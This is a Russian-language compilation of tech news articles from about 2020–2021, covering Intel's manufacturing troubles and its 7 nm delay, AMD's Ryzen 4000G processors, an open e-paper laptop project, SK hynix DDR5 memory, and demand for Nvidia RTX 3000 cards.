Что делает эту ситуацию настолько опасной для Intel, так это проблема масштаба, о которой я упоминал выше. Компания уже пролетела мимо мобильного рынка, и хотя серверные процессоры обеспечили рост, необходимый для инвестиций в производство за последнее десятилетие, но Intel не может позволить себе потерять объём денежного потока именно в тот момент, когда должна произвести максимальные инвестиции в своей истории.

Проблема 4: TSMC


К сожалению, это ещё не самое худшее. На следующий день после назначения нового директора Intel компания TSMC объявила впечатляющие финансовые результаты и, что более важно, прогнозы капитальных инвестиций на 2021 год, от Bloomberg:

TSMC спровоцировала глобальный рост акций полупроводниковых компаний, когда объявила о планах капитальных инвестиций в этом году в размере целых 28 миллиардов долларов ошеломляющей суммы, направленной на расширение технологического лидерства и строительство завода в Аризоне для обслуживания ключевых американских клиентов.

Это огромная сумма инвестиций, которая только упрочит лидерство TSMC.

Предполагаемый рост финансирования привёл к тому, что производители оборудования для производства микросхем хлынули из Нью-Йорка в Токио. Капитальные расходы TSMC от 25 до 28 миллиардов долларов в 2021 году гораздо выше прошлогодних 17,2 миллиардов. Около 80% вложений направят на передовые технологии производства CPU, то есть TSMC ожидает резкого роста бизнеса по производству передовых микросхем. Аналитики предполагают, что после серии внутренних технологических сбоев Intel передаст производство на аутсорсинг таким компаниям, как TSMC.

Так оно и есть. Вероятно, в данный момент Intel уступила лидерство в производстве микросхем. Компания сохраняет высокую маржу в проектировании CPU и может исключить угрозу AMD, передав производство передовых чипов на аутсорсинг TSMC. Но это лишь увеличит лидерство TSMC и никак не поможет решить другие проблемы Intel.

Проблема 4: геополитика


Уязвимости Intel не единственное, о чём стоит беспокоиться. В прошлом году я писал о чипах и геополитике:

Международный статус Тайваня, как говорится, сложный. Собственно, как и отношения между Китаем и США. Всё это накладывается одно на другое и создаёт совершенно новые осложнения, делая ситуацию ещё более запутанной.

Ну а география, напротив, простая и понятная:



Как видите, Тайвань находится недалеко от китайского побережья. Рядом Южная Корея, родина Samsung, которая тоже производит чипы самого высокого класса. Соединённые Штаты по другую сторону Тихого океана. Есть передовые фабрики Intel в Орегоне, Нью-Мексико и Аризоне, но Intel производит чипы только для собственных интегрированных вариантов использования.

Это важно, потому что электроника нужна не только для компьютеров. В наши дни почти в любом оборудовании, в том числе военном, работает процессор. Некоторые чипы не требуют особенной производительности и могут быть изготовлены на старых фабриках, построенных много лет назад в США и по всему миру. Но для других чипов нужно передовое производство, то есть они должны быть изготовлены на Тайване компанией TSMC.

Если вы занимаетесь военным стратегическим планированием в США, это большая проблема. Ваша задача не предсказывать войны, а планировать действия, которые могут произойти при неудачном стечении обстоятельств, то есть если вдруг случится война между США и Китаем. И в этом планировании серьёзной проблемой является размещение заводов TSMC и Samsung в пределах лёгкой досягаемости китайских ракет.

Буквально несколько дней назад компания TSMC официально объявила о строительстве 5-нм завода в Аризоне. Да, сегодня это передовые технологии, но завод откроется только в 2024 году. Тем не менее это почти наверняка будет самая передовая фабрика в США, которая выполняет сторонние заказы. Надеюсь, к моменту открытия Intel превзойдёт её возможности.

Однако заметим, что интересы Intel и США не совпадают. Первая заботится о платформе x86, а США нужны передовые фабрики общего назначения на её территории. Иными словами, у Intel всегда в приоритете дизайн, а у США производство.

Кстати, именно поэтому сегодня у Intel меньше желания выполнять сторонние заказы. Да, компания может пойти на это из необходимости загрузить производственные мощности для окупаемости инвестиций. Но всегда будет ставить во главу угла собственные проекты.

Решение 1: раздел


Вот почему Intel нужно разделить на две части. Да, интеграция дизайна и производства на протяжении десятилетий была основой бизнеса, но теперь эта интеграция превратилась в смирительную рубашку, которая сдерживает развитие и того, и другого. Разработки Intel сдерживаются сложностями с производством, а само производство страдает из-за неправильных приоритетов.

Главное, что нужно понять о микроэлектронике что маржа в дизайне гораздо выше. Например, у Nvidia валовая маржа 60-65%, в то время как у TSMC, которая производит для неё микросхемы, ближе к 50%. Как я уже отмечал выше, маржа Intel традиционно ближе к Nvidia благодаря интеграции дизайна и производства, поэтому собственные чипы всегда будут приоритетом для её производственного подразделения. От этого пострадает обслуживание потенциальных клиентов и гибкость в выполнении сторонних заказов, а также эффективность привлечения лучших поставщиков (что ещё больше снизит маржу). Здесь ещё и вопрос доверия: готовы ли конкуренты делиться своими разработками, особенно если Intel уделяет приоритетное внимание собственному дизайну?

Единственный способ решить эту проблему приоритетов выделить производственный бизнес Intel в отдельную компанию. Да, потребуется время, чтобы создать отделы обслуживания клиентов, не говоря уже об огромной библиотеке строительных блоков открытой интеллектуальной собственности, которая сильно упрощает работу с TSMC. Но автономный производственный бизнес получит главный и самый мощный стимул для осуществления этой трансформации стремление выжить.

Решение 2: субсидии


Выделение производственного бизнеса в отдельную компанию также открывает двери для закачки государственных денег в этот сектор. Сейчас для США нет смысла субсидировать Intel. Компания на самом деле не строит то, что нужно США, и у компании явно проблемы с культурой и управлением, которые не решить просто денежными вливаниями.

Вот почему федеральная программа субсидирования должна действовать как гарантия покупки. Государство закупает определённое количество произведённых в США 5-нм процессоров по такой-то цене; определённое количество произведённых в США 3-нм процессоров по такой-то цене; определённое количество 2-нм процессоров и так далее. Это не только установит цели для производства Intel, но и подтолкнёт другие компании зайти на этот рынок. Возможно, вернутся в игру глобальные производственные компании или TSMC построит больше фабрик в США, а возможно, в нашем мире почти свободного капитала наконец появится стартап, готовый совершить революцию.

Безусловно, мы чрезмерно упрощаем проблему. В производстве электроники очень много факторов. Например, упаковка интегральных схем (сборка кристалла в корпус) давным-давно переехала за границу в погоне за снижением затрат и теперь полностью автоматизирована. Вернуть её проще. Однако крайне важно понять, что восстановление конкурентоспособности, а тем более лидерства США, займёт много лет. Определённую роль играет федеральное правительство, но и Intel должна принять реальность, что её интегрированная модель больше не работает.
Подробнее..

Энтузиасты собирают ноутбук на электронной бумаге. Выбираем дисплей и шасси

24.04.2021 14:08:39 | Автор: admin


С тех пор, как корпорация E Ink в 1997 году запатентовала технологию отображения информации на основе электрофореза и зарегистрировала соответствующий бренд, разные производители покупали лицензии и интегрировали e-ink в свои устройства. Первыми стали читалки Sony Librie в 2004 году и Amazon Kindle в 2007-м. Эти дисплеи не мерцают в принципе, не утомляют глаза и практически не потребляют энергию во время отображения картинки, так что идеально подходят для чтения.

С 1997 года технология сильно усовершенствовалась. Дисплеи увеличились, появился цвет, уменьшился показатель времени обновления экрана. В последние годы наконец-то вышли смартфоны и планшеты с цветной бумагой (Hisense, Onyx Boox).

Но за четверть века никто так и не сделал нормальный ноутбук. Почему?

Попытки действительно были. Можно вспомнить Pixel Qi и OLPC, Boox Typewriter, Yoga Book C9309 и ThinkBook Plus. Но ни один из них не стал востребован рынком по разным причинам: изъяны UX/UI, слабые технические характеристики, высокая себестоимость производства, проблемы с лицензированием и интеграцией технологии.

Однако в моддерском сообществе развернулась бурная деятельность. Во-первых, из читалок электронных книг делают разные гаджеты: календари, настенные фоторамки, планшеты под GNU/Linux, а компания Pine64 недавно анонсировала одноплатный компьютер Quartz64 с нативной поддержкой e-ink.

Все эти проекты вдохновили энтузиаста Александр Сото на создание первого полноценного ноутбука на электронной бумаге. Для этого он запустил общественную инициативу EI2030. Уже сформированы первые рабочие группы и начался выбор комплектующих.

Thinkpad T480




Сначала в качестве донора для шасси выбрали Thinkpad T480, который вроде бы неплохо подходит для этой цели:


Кроме того, в корпусе T480 достаточно места, чтобы развернуться.



Дисплей. Dasung HD-FT


Александр Сото говорит, что дисплей Dasung по скорости обновления и производительности заметно превосходят планшеты Onyx Boox Max 2. К тому же, недавно появились новости, что Onyx нарушает условия лицензии на ядро Linux и отказывается публиковать исходники, так что лучше не иметь с ними дела.

Поскольку мониторы Dasung подключаются по HDMI и запитываются по USB, важно наличие всех необходимых портов на T480 без адаптера.

Прямо с монитора, то есть без внешнего софта, доступны следующие настройки:

  • Изменение режимов работы (M1, M2, M3, Fast, Fast+, Fast++, Black, Black+, Black++)
  • Настройка контрастности
  • Очистка экрана
  • Включение/выключение подсветки



Рабочие группы


В рамках инициативы EI2030 сформированы рабочие группы, которые сфокусируются на отдельных задачах, которые им интересны. Они будут обмениваться информацией и ресурсами.

Например, рабочая группа Low-Power E-Paper OS займётся изучением операционных систем реального времени и разработкой порта Linux на процессоры Ambiq Apollo 3 и 4 или аналогичные микропроцессоры с низким энергопотреблением для встроенных Linux-систем.

Другая рабочая группа углубится в низкоуровневые задачи управления, то есть разработку опенсорсного драйвера для дисплея. В фокусе внимания разные системы на кристалле с интегрированным контроллером, семейства микроконтролллеров i.MX7/8 и RK3566.



Отдельная задача спроектировать новое шасси/корпус, который станет основой для будущих моделей ноутбуков. Ведь понятно, что донор Thinkpad T480 это временное решение для начала. В будущем планируется сделать открытый и свободный дизайн. В качестве примеров приводятся хакерский самодельный ноутбук Olimex TERES-I и похожие проекты VIA OpenBook, MNT Reform и EOMA68. Желательно проектировать дизайн опенсорсными инструментами.



Ещё две рабочие группы займутся изучением разных технологий неэмиссионных дисплеев, таких как e-ink, Display Electronic Slurry (DES) и Reflective Liquid Crystal Display (RLCD), а также психологическими преимуществами от работы с электронной бумагой. Например, низкий уровень усталости глаз. Эта же группа будет изучать удобные интерфейсы, повышающие комфорт работы.

Первые задачи


В проекте EI2030 сформировалась инициативная группа порядка десяти энтузиастов, которые наметили для начала три главные задачи.

Выбор дисплея


Рассматриваются панели e-ink в диапазоне от 10,3" до 13,3". Кроме вышеуказанных дисплеев Dasung, на рынке присутствуют панели ES103TC11, ED133UT22, ES133TT33, Waveshare и Sony. Можно закупать панели оптом, на вторичном рынке, снимать с других устройств. Согласно первым переговорам, минимальная партия от производителя составляет от 10000 до 50000 штук.

RLCD и DES тоже рассматриваются.


Полноцветная 10,1-дюймовая электронная бумага типа Display Electronic Slurry (DES) от компании Good Display с разрешением 2232*1680 пикселей, источник

С другой стороны, RLCD поддерживает частоту обновления до 60 FPS, так что и эту технологию не стоит упускать из виду. Такие дисплеи известны по проектам One Laptop per Child и Pixel Qi, а также устанавливаются на многие модели умных часов. Но на рынке пока нет дисплеев RLCD большого размера и высокого разрешения.

Интерфейс к дисплею




Есть три способа управления дисплеем:

  • Cпециальная микросхема контроллера для управления экраном.
  • Система на чипе (SoC) со встроенным контроллером.
  • Быстрый микроконтроллерный блок для эмуляции контроллера с GPIO.

Несколько примеров:


Можно составить базу данных панелей, которые используются во всех устройствах e-ink, и подобрать совместимые опенсорсные варианты. База станет справочником для тех, кто покупает девайсы на вторичном рынке.

Шасси


Шасси ноутбука ещё одно важное соображение, о котором следует подумать при создании ноутбука. Соотношение сторон на доступных экранах 10.3" и 13.3" составляет 4:3, а ноутбуки с таким соотношением трудно найти.

Здесь можно создавать шасси с нуля или взять один из существующих вариантов. Как упоминалось выше, в качестве вариантов рассматриваются Thinkpad T480, VIA OpenBook c открытым дизайном, MNT Reform и EOMA68, которые также сделали свои файлы дизайна открытыми и доступными для других.

Дизайн модельного ноутбука Olimex TERES-14 за 240 евро тоже открыт. Файлы печатных плат и шасси для распечатки лежат в формате KiCad и FreeCAD.


Olimex TERES-14

Прочему бы не рассмотреть вариант доработки Olimex TERES-14, подключив к нему дисплей на электронной бумаге?

Энтузиасты EI2030 приглашают присоединиться к проекту всех желающих.

В обсуждении на Hacker News обращают внимание, что сейчас не лучшее время для аппаратных начинаний, потому что на рынке дефицит комплектующих. Например, инженерам в одной компании частенько приходится перепроектировать печатные платы, потому что у поставщика отсутствует тот или иной конкретный конденсатор.

Вообще, дизайн это всего 10% работы, а большинство таких проектов не доходят даже до стадии прототипа.
Подробнее..

AMD представила 18 новых процессоров для настольных ПК

22.07.2020 12:20:51 | Автор: admin

Процессоры 4-го поколения значительно производительнее аналогичных моделей AMD 3-го поколения, а также процессоров Intel Core (бенчмарки под катом)

Компания AMD, которая сегодня практически безраздельно владеет рынком настольных компьютеров, выпустила две новых линейки процессоров для десктопов. Это долгожданная 4000-я серия на архитектуре Zen2 (7нм) со встроенной графикой Vega, для стандартного сокета AM4:

  • шесть AMD Ryzen 4000 G-Series
    • + три новых Athlon 3000 G-Series
  • шесть AMD Ryzen 4000 Pro
    • + три новых Athlon 3000 Pro

Серия Pro полностью совпадает по техническим характеристикам со стандартной G-Series, так что в реальности речь идёт о девяти новых процессорах, из них шесть 4000-й серии и три Athlon 3000-й серии.

Поскольку процессоры подходят для существующих материнских плат с разъёмом AM4, на них огромный спрос среди тех, кто сам собирает себе компьютер и хочет сделать апгрейд. Разговоры о выпуске 4000-й серии шли с самой CES в январе. К сожалению, тут AMD всех разочаровала: в первое время новинки поставляются только интеграторам и OEM-партнёрам, розничные цены пока не объявлены. Придётся немного подождать.

Причиной для такого решения AMD назвала то, что 80% чипов в любом случае покупают OEM, а отказ от розничных продаж (20%) сильно упрощает планирование производства и логистику. Компания обещает скоро пустить их в розничную продажу.

Для начала список из шести новых Ryzen 4000 G-Series.

Ядер/потоков Базовая
частота
Турбо Юнитов GPU Частота GPU TDP
Ryzen 7 4700G 8 / 16 3600 4400 8 2100 65 Вт
Ryzen 7 4700GE 8 / 16 3100 4300 8 2000 35 Вт
Ryzen 5 4600G 6 / 12 3700 4200 7 1900 65 Вт
Ryzen 5 4600GE 6 / 12 3300 4200 7 1900 35 Вт
Ryzen 3 4300G 4 / 8 3800 4000 6 1700 65 Вт
Ryzen 3 4300GE 4 / 8 3500 4000 6 1700 35 Вт

В списке можно заметить некоторую закономерность: шесть процессоров идут тремя парами на 65 и 35Вт. В младшей версии просто обрезана частота и TDP, больше они не отличаются. Только в одном APU немного снижена ещё частота графики.

Все процессоры построены на 8-ядерной архитектуре Zen2 с 8 вычислительными юнитами Vega, как и мобильные Ryzen Mobile 4000, представленные ранее. Топовый Ryzen 7 4700G с TDP 65Вт задействует все 8 ядер и 8 вычислительных юнитов графики. Сам вычислительный модуль работает на базовой частоте 3,6ГГц (4,4ГГц турбо), а графика на сумасшедшей частоте 2,1ГГц.

В нижней части линейки Ryzen 3 4300G с четырьмя ядрами и шестью вычислительными юнитами Vega. Базовая частота 3,8ГГц, турбо 4,0ГГц. Шесть графических юнитов работают на частоте 1,7ГГц.

Все APU поддерживают память DDR4-3200, во всех выделено по восемь линий PCIe 3.0 для дополнительных видеокарт. Но это скорее пережиток мобильной версии чипа, для которой было принято такое техническое решение. На самом деле AMD предполагает, что встроенной графики в 4000-й серии в основном достаточно для большинства пользователей.

Бенчмарки от AMD


Дисклеймер: бенчмарки от AMD носят скорее рекламный характер и не являются объективными независимыми тестами.

Топовый Ryzen 4700G сравнивается с Intel Core i7-9700 в задачах на обработку медиа:



Сравнение в топовых играх с разрешением 1080p:



Такие же тесты на медиаобработку и игры для процессоров Ryzen 4600G и Intel Core i5-9500:





Наконец, сравнение Ryzen 3 4300G и Core i3-9100:





AMD сравнивает свои чипы с процессорами Intel 9-го поколения и утверждает, что в 10-м поколении у Intel нет особой прибавки, кроме немного повышенных тактовых частот, хотя на самом деле Intel добавила в 10-м поколении Hyper-Threading, так что количество потоков фактически возросло вдвое (два потока на каждое ядро), поэтому процессоры Intel 10-го поколения должны быть поближе по результатам к процессорам AMD, чем слегка устаревшие чипы 9-го поколения.

В общем, объективные выводы о производительности можно будет сделать только после публикации результатов независимых тестов.

Возможно, более объективным будет сравнение производительности 4000-й серии с собственными процессорами AMD предыдущих поколений.

Для начала, сравнение Ryzen 5 4600G с популярной моделью Ryzen 5 3400G.



Ryzen 5 4600G явно выигрывает за счёт перехода на новую архитектуру Zen2 с техпроцессом 7нм и улучшенные графические ядра Vega.

Бюджетный Ryzen3 4300G тоже немного выигрывает у Ryzen3 3200G.



В блоге AMD опубликована отдельная новость об апгрейде Adobe Premiere Pro, куда добавлена поддержка AMD GPU, так что видеообработка на новых процессорах выполняется с аппаратным ускорением. В блоге сравнивают производительность мобильной версии Ryzen 7 4800U в ноутбуке Lenovo Yoga Slim 7 при кодировании (экспорте) четырёхминутного видео Apple ProRes 4444 4K 60P QuickTime. Аппаратное и программное кодирование сравниваются с Ryzen 7 4700U и Ryzen 5 4500U.



Ryzen 4000 Pro


Процессоры Ryzen 4000 Pro отличаются словом Pro в названии, а маркировка оканчивается на 50, то есть Ryzen 7 Pro 4750GE, Ryzen 5 Pro 4650GE и так далее. Они позиционируются для корпоративных клиентов, поэтому оснащены несколькими дополнительными функциями по безопасности и управлению. Среди них:

  • полное шифрование памяти;
  • управление DASH;
  • стабильность ОС (запланировано 18 месяцев поддержки);
  • доступность процессоров в продаже (запланировано 24 месяца);
  • гарантированное качество и надёжность, продвинутая служба QA.


Новые Athlon


Наконец, вот список трёх новых Athlon 3000-й серии, изготовленных на старом ядре Zen+, вместе с их аналогами в линейке Pro.

Ядер/потоков Базовая
частота
Турбо Юнитов GPU Частота GPU TDP
Athlon 3000G
Athlon Gold 3150G 4 / 4 ? 3900 3 ? 65 Вт
Athlon Gold 3150GE 4 / 4 ? 3800 3 ? 35 Вт
Athlon Silver 3050GE 2 / 4 3400 - 3 ? 35 Вт
Athlon Pro 3000G
Athlon Gold Pro 3150G 4 / 4 3500 3900 3 1100 65 Вт
Athlon Gold Pro 3150GE 4 / 4 3300 3800 3 1100 35 Вт
Athlon Silver Pro 3125GE 2 / 4 3400 - 3 1100 35 Вт

Это первые процессоры с названиями Athlon Gold и Athlon Silver, то есть AMD вводит новый брендинг. По ним подробностей мало, цены тоже пока не опубликованы.

Будем надеяться, что AMD как можно раньше начнёт продажу всех этих процессоров в розницу.
Подробнее..

Intel застряла. Техпроцесс 7 нм откладывается до конца 2021 начала 2022 года

24.07.2020 12:09:40 | Автор: admin

Исполнительный директор Intel Боб Свон

Корпорация Intel опубликовала финансовый отчёт за IIкв. 2020года, в котором объявила об очередной задержке с переходом на техпроцесс 7нм. Планы отложили ещё на шесть месяцев, так что теперь внедрение 7нм планируется не раньше конца 2021-го начала 2022 года. В сумме отставание от внутренней дорожной карты Intel выросло до 12 месяцев.

Любопытно, что Intel планировала быстро перейти на 7нм, потому что испытывала проблемы с внедрением техпроцесса 10нм. Некоторые аналитики высказывают мнение, что в такой ситуации можно думать о переходе сразу на 5нм.

Исполнительный директор компании Боб Свон сказал инвесторам, что графический процессор для высокопроизводительных вычислений Ponte Vecchio выйдет не раньше, чем в конце 2021-го или начале 2022 года. Он должен стать первым 7-нанометровым чипом Intel.



7-нм процессор Intel для персональных компьютеров выйдет не ранее конца 2022-го начала 2023 года, а первый серверный процессор для дата-центров не ранее Iполугодия 2023года.

По словам Свона, компания выявила в своём 7-нм техпроцессе дефектный режим, это вызвало деградацию нормы техпроцесса. В результате Intel предусмотрела план на случай непредвиденных обстоятельств, включая использование сторонних фабрик по производству микросхем. Компания также будет использовать сторонние фабрики для будущих 7-нм графических процессоров Ponte Vecchio.

Ponte Vecchio производится с дизайном в виде чиплетов, и производство некоторых чиплетов будет передано на аутсорсинг сторонним подрядчикам.

Первые 7-нм серверные процессоры Granite Rapids тоже выйдут с опозданием, в 2023 году. Эта опасно на фоне того, что AMD по плану производит серверные чипы EPYC и планирует выпуск 5-нм процессоров Genoa до конца 2022 года.

Свон также сказал, что первые десктопные 10-нм процессоры Alder Lake выйдут во второй половине 2021 года.

Фактически, TSMC планирует освоить узлы 3нм в те же сроки, что и новый график Intel для 7нм.

Задержка с переходом 7 нм представляет собой очередную неудачу Intel, которая несколько лет испытывает проблемы с освоением процесса 10 нм. Эти задержки позволили AMD впервые в истории отвоевать у Intel лидерские позиции в разработке процессоров, что вызвало ценовую войну на рынке, поскольку Intel сражается с конкурентом x86, у которого лучшие технологии, не говоря уже о новых ARM-чипах Amazon Graviton 2, тоже основанных на 7-нм техпроцессе TSMC.

Apple недавно объявила, что переходит с чипов Intel на собственные 7-нм ARM-процессоры. А ведущий архитектор чипов, звезда Джим Келлер, недавно покинул компанию.


В июне 2020 года Intel объявила, что ведущий инженер микроэлектроники Джим Келлер покидает компанию

Intel заявила, что планирует увеличить поставки 10-нм чипов на 20% по сравнению с предыдущими прогнозами. Новый план Intel сосредоточен на получении еще одного полного узла производительности на базе текущего 10-нм узла, то есть 10-нм техпроцесс продлится дольше, чем планировалось, и облегчит переход на 7нм. Intel осуществила аналогичный трюк с 14-нм процессорами через серию + ревизий, которые добавили инкрементные улучшения производительности, вплоть до 14нм+++. Так что у неё есть послужной список успешных улучшений межузловых связей, которые помогут ей оставаться конкурентоспособной, пока она не исправит проблемы с 7-нм процессом.

Intel всегда использовала сторонние фабрики, которые в настоящее время составляют около 20% её производства, для низкомаржинальных, не связанных с процессорами продуктов. Новые планы Intel по более агрессивному использованию внешних фабрик могут привести к тому, что она будет использовать их для основной логики, такие как процессоры и графические процессоры, чего компания не делала в прошлом. В конечном счете, Intel может столкнуться со значительным снижением маржи, если передаст значительную часть высокодоходных продуктов на аутсорсинг третьим лицам. Полагаться на внешнего поставщика для производства передовых узлов очень рискованно, поскольку Intel придётся конкурировать с Apple, Nvidia и AMD в том числе за производственные мощности.

После публикации финансового отчёта акции Intel упали на 9%, акции AMD выросли на 6% на фоне недавнего анонса семейства десктопных CPU на архитектуре Zen2 (7нм) и впервые в истории обогнали акции Intel по номиналу ($61). Несмотря на отставание в цене акций, Intel почти в четыре раза опережает AMD по рыночной капитализации: $254млрд против $64млрд. У тайваньской TSMC рыночная стоимость $323млрд.

На первый взгляд кажется, что задержка Intel на шесть месяцев небольшая, но в реальности она будет иметь долгосрочный эффект домино. Она означает, что в течение нескольких лет Intel будет технологически отставать от AMD и Nvidia, пишет Reuters. Другими словами, в русле 7нм Intel уже неконкурентоспособна и может вернуться в полноценную борьбу только после перехода на 5нм.



Подробнее..

SK hynix представила первую в мире память DDR5 DRAM

06.10.2020 10:05:04 | Автор: admin
Корейская компания Hynix представила публике первую в своем роде оперативную память стандарта DDR5, о чем сообщается в официальном блоге компании.



По заявлению SK hynix, новая память обеспечивает скорость передачи данных в 4,8-5,6 Гбит/с на контакт. Это 1,8 раза больше, чем базовые показатели памяти предыдущего поколения DDR4. При этом производитель утверждает, что напряжение на планке уменьшено с 1,2 до 1,1 В, что, в свою очередь, повышает энергоэффективность модулей DDR5. Также была реализована поддержка коррекции ошибок ECC Error Correcting Code. Как утверждается, благодаря этой функции надежность работы приложений возрастёт в 20 раз по сравнению с памятью предыдущего поколения. Минимальный объем памяти платы заявлен на уровне 16 Гб, максимальный 256 Гб.

Новая память была разработана по спецификации стандарта ассоциации твердотельных технологий JEDEC, который опубликовали в 14 июля 2020 года. Согласно тогдашнему анонсу JEDEC, спецификация DDR5 поддерживает вдвое больший реальный канал, чем DDR4, то есть вплоть до 6,4 Гбит/с у DDR5 против имеющихся 3,2 Гбит/с у DDR4. При этом запуск стандарта будет плавным, то есть первые планки, как планировала ассоциация и что и показывает SK hynix, в базе быстрее только на 50% по сравнению с DDR4, то есть имеют канал в 4,8 Гбит/с

Согласно анонсу, компания готова перейти к массовому выпуску модулей памяти нового стандарта. Все подготовительные этапы и тесты, в то числе и тестирование со стороны производителей центральных процессоров, пройдены, и компания начнет активный выпуск и продажу нового типа памяти как только под нее появится соответствующее спецификациям оборудование. В разработке новой памяти активно участвовала компания Intel.



Участие Intel не случайность. Hynix заявляет, что пока основным потребителем памяти нового поколения, на их взгляд, будут дата-центры и серверный сегмент в целом. Корпорация Intel до сих пор доминирует на этом рынке, а в 2018 году именно тогда началась активная стадия совместной работы и тестирования новой памяти была неоспоримым лидером процессорного сегмента.

Джонхун О, исполнительный вице-президент и директор по маркетингу Sk hynix заявил:

SK hynix сосредоточится на быстрорастущем рынке серверов премиум-класса, укрепляя свои позиции в качестве ведущей компании в области серверной DRAM.

Основной этап выхода на рынок новой памяти рассчитан на 2021 год именно тогда спрос на DDR5 начнет расти и тогда же подойдет в продажу и оборудование, способное работать с новой памятью. В создании экосистемы для DDR5 вместе с SK hynix сейчас работают компании Synopsys, Renesas, Montage Technology и Rambus.

К 2022 году SK hynix прогнозирует захват памятью стандарта DDR5 доли в 10%, а к 2024 уже 43% рынка оперативной памяти. Правда, не уточняется, имеется в виду серверная память, или весь рынок, в том числе и десктопы, ноутбуки и прочие устройства.

Компания уверена, что ее разработка, да и в целом стандарт DDR5, будут крайне популярны среди специалистов, работающих с большими данными и машинным обучением, среди скоростных облачных сервисов и прочих потребителей, для которых важна скорость передачи данных внутри самого сервера. Кроме
Подробнее..

Инсайд в новых процессорах Intel будет использоваться многочиповая конфигурация

08.10.2020 08:19:04 | Автор: admin
Согласно инсайду портала adoredtv.com, компания Intel перейдет к технологии многочиповой конфигурации к 2021-2022 году, а первым процессором с подобной компоновкой станет серверный чип линейки Sapphire Rapids. По данным, его тепловыделение составит около 400 Вт. Планируемый техпроцесс литографии 10 нм (+++) или SuperFin. Процессор будет оснащен 56(60) ядрами.



Однако это не самое главное, хотя анонс новой серверной линейки, которая придет на смену процессорам Sky Lake важный инфоповод. Но намного важнее то, что Intel сдается в своей борьбе с 7 и 5 нм техпроцессами и переходит к технологиям, которые уже используются их основным конкурентом компанией AMD. По всей видимости, проблемы с более мелкошаговой литографией оказались непреодолимы в обозримом будущем, а давление AMD только усиливается: уже сейчас красные обгоняют Intel в потребительском сегменте, фактически, на полтора-два поколения с учетом линейки Ryzen 5000, которая будет представлена уже сегодня, 8 октября.

Важно отметить, что Intel уже потребовала от источника удалить статью из-за допущенных в ней неточностей, что опосредованно подтверждает как минимум большую часть инсайдерской информации и вообще наталкивает на мысль, что слив организовал маркетинговый отдел компании.

Если говорить о конкретном процессоре на базе Sapphire Rapids, информацию о котором слили adoredtv, то этот процессор станет самой большой новинкой Intel со времен анонса серии Intel Core 8xxx.

Серия Sapphire Rapids будет использовать новое ядро архитектуры Golden Cove, которое придет на смену ядру Willow Cove.


Старый архитектурный роадмап Intel

Ожидается, что Golden Cove получит прирост в показателе межпроцессорного взаимодействия (IPC), в отличие от Willow Cove, у которого фактически было небольшое снижение по сравнению с архитектурой Sunny Cove.

Также планируется, что Intel внедрит в новых процессорах поддержку PCIe 5.0 и DDR5 (об анонсе первых серверных плашек памяти производства SK Hynix мы писали чуть раньше). В процессорах серии Sapphire Rapids планируется до 80 полос и CXL, что вполне конкурентно с IO AMD на ее платформе Rome. Последняя имеет больше полос, но только на скоростях PCIe 4.0. Еще Sapphire Rapids поддерживает память с частотой до 4800 МГц DDR5 и будет иметь поддержку восьмиканальной памяти.

Но, как обычно это бывает у Intel, тут есть пункт со звездочкой. Как в случае максимальной частоты на ядро (для CPU0), и с новыми процессорами существуют специфические ограничения. Описанный выше режим работы в PCIe 5.0 с 80 полосами будет возможен только на топовых моделях последних артикулов линейки; для всех прочих процессоров будет реализовано только 64 полосы.

Намного интереснее компоновка чипов на текстолите. Серверный Sapphire Rapids, скорее всего, будет реализован в виде четырех чипов на текстолитной подложке по 15 ядер на чип, активными из которых планируется только 14. Кроме того, в новых процессорах планируется реализация HBM2e на самом чипе объемом 64 Гб.

То есть, фактически, Intel планирует производить не просто многоядерный процессор, а полноценный чиплет с собственной встроенной памятью.

Подобный подход ожидался от AMD, но красные так и не перешли к полноценной реализации чиплета, ограничившись многочиповой конфигурацией самого процессора. Если Intel на самом деле сможет распаять память прямо на текстолите своего многочипового процессора, это будет рывок вперед и компания опять сможет занять условную позицию лидера в серверной гонке, ограничив поползновения AMD на этот практически монополизированный синими рынок.

Пару слов стоит сказать и о самом сливе инсайда техническому изданию. То, что Intel вяло потребовала удалить статью из-за неточностей в тексте именно с такой формулировкой а так же то, то что слив появился буквально за сутки большой презентации AMD указывает на две вещи.

Первое: Intel в ужасе и слив о новом процессоре тщательно спланированная акция по удержанию репутации компании среди фанатов и клиентов. Второе: презентация AMD, по всей видимости, будет разгромной, если маркетинговому отделу Intel в срочном порядке пришлось организовывать очень наивный и одновременно очень подробный слив о новых серверных процессорах компании наиболее важном сейчас для Intel сегменте рынка, потому что там они до сих пор неоспоримые лидеры и гегемоны.



Подробнее..

Ажиотажный спрос на новые карты Nvidia заслуга не производителя, а косоруких разработчиков игр

21.10.2020 16:06:58 | Автор: admin
После презентации новой линейки видеокарт серии RTX 3000, компания производитель графических чипов Nvidia столкнулась с беспрецедентным спросом на свою новую продукцию. Превышение розничных цен на топовые модели RTX 3080 и RTX 3090 составляет и $500 и более, что больше рекомендованной цены на 30-60%.



Причем просто на завышенных относительно оглашенных на презентации ценах проблемы с новыми RTX не заканчиваются. Так, один из официальных торговых партнеров MSI был уличен в спекуляции новыми видеокартами на онлайн-аукционах, а сами Nvidia заявляют, что купить по адекватной стоимости новые RTX 3080 и RTX 3090 можно будет не раньше следующего года. При этом релиз и поступление в продажу самой вкусной карточки RTX 3070 было вовсе отложено на две недели, с 15 на 29 октября 2020 года.

Человек, далекий от ПК-гейминга и релизов флагманских моделей железа справедливо спросит: вы там что, совсем кукухой поехали? Какие 1200-1500$ за видеокарту? Какой ажиотажный спрос? Что вообще происходит? Так вот, сейчас я, автор статьи, объясню, почему Nvidia столкнулась с таким ажиотажем вокруг RTX 3000 серии и почему геймеры с нетерпением ждут поступления в продажу этих видеокарт по заявленной стоимости.

То что RTX 3000 серии геймерские карты ни у кого сомнений не вызывает. Для вычислений и науки у Nvidia давно есть карты серии Tesla V100 и Tesla A100. Это мощные графические ускорители за тысячи долларов, задача которых крайне проста и очевидна считать. Причем считать, в основном, всякие научные штуки в составе вычислительного кластера. Новые A100, которые сейчас поступают в ограниченный тест, по заверениям Nvidia вовсе в 6 раз производительнее далеко не слабой V100. Собственно, о возможностях этих карт можно судить по официальным спецификациям с сайта Nvidia:



Говорю я о семействе ускорителей Tesla по одной причине: архитектура Ampere. Именно она лежит в основе графических ускорителей Tesla и до этого момента карточки на Ampere стоили до $10 тыс. и имели весьма узкую специализацию. В первую очередь, ускорители Ampere были направлены на тренировку нейросетей и по заверениям производителя справлялись с этой задачей на порядки лучше, чем другие решения. По официальным данным, карты на базе Ampere ускорили обучение нейросетей до 20 раз.

